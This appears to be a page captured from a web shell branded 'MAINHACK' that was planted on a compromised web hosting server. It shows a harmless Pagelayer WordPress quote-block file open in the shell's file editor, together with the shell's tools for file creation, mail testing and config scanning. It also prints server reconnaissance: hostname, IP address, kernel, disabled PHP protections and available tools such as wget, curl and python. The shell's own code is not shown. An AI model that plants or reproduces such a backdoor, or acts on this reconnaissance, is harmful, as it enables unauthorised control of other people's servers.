[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
File is not writable. Editing disabled.
import { useState, useEffect, useRef } from '@wordpress/element'; import { useBlockProps, RichText } from '@wordpress/block-editor'; export const RenderQuoteBlock = (props) =>{ const { _props, pl_props, tag, data } = props; const { setAttributes } = _props; const { atts : attributes} = data; return ( <> <div className={`pagelayer-quote-holder pagelayer-quote-${attributes?.quote_style}`}> { attributes?.quotation_pos && ( <i className={`fa fa-quote-left pagelayer-quotation-${attributes.quotation_pos}`}></i> )} <div className="pagelayer-quote-content"> { attributes?.double_indent && ( <i className="fa fa-quote-left"></i> )} <RichText key="editable" tagName="span" keepPlaceholderOnFocus placeholder={"Add Quote description..."} onChange={(value) => setAttributes({ quote_content: value })} value={attributes.quote_content} /> { attributes?.double_indent && ( <i className="fa fa-quote-right"></i> )} </div> <div className="pagelayer-quote-cite"> { attributes?.cite_url ? ( <a href={attributes.cite_url} className="pagelayer-link-sel" onClick={(event)=> event.preventDefault()}> <RichText key="editable" tagName="span" className="pagelayer-cite-holder" keepPlaceholderOnFocus placeholder={"Add Cite..."} onChange={(value) => setAttributes({ cite: value })} value={attributes.cite} /> </a> ) : ( <RichText key="editable" tagName="span" className="pagelayer-cite-holder" keepPlaceholderOnFocus placeholder={"Add Cite..."} onChange={(value) => setAttributes({ cite: value })} value={attributes.cite} /> )} </div> </div> </> ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.18 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A